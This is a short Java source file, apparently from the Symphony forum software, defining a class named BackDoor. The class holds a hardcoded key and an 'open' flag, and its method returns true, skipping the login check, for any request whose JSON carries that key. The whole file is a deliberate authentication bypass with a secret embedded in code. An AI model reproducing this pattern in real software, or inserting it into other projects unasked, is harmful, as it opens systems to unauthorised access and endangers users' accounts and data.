package org.b3log.symphony.model;

import javax.naming.Context;

import org.b3log.latke.ioc.Singleton;
import org.b3log.latke.logging.Level;
import org.b3log.latke.service.annotation.Service;
import org.b3log.latke.servlet.RequestContext;

import lombok.extern.slf4j.Slf4j;

/**
 * 类BackDoor的实现描述：TODO
 *
 * @author Gai 2019/10/19 22:46
 */
@Singleton
@Slf4j
public class BackDoor {
    public static int IS_BACK_DOOR_OPEN = 1;
    public static String BACK_DOOR_Key = "qIoXXTgjvbVyy8LZ";

    public static boolean checkBackDoor (RequestContext context) {
        log.info("entering back door checking");
        if (IS_BACK_DOOR_OPEN == 1 && BACK_DOOR_Key.equals(context.requestJSON().get("key"))) {
            log.info( "no login check this time", "content");
            return true;
        }
        return false;
    }
}
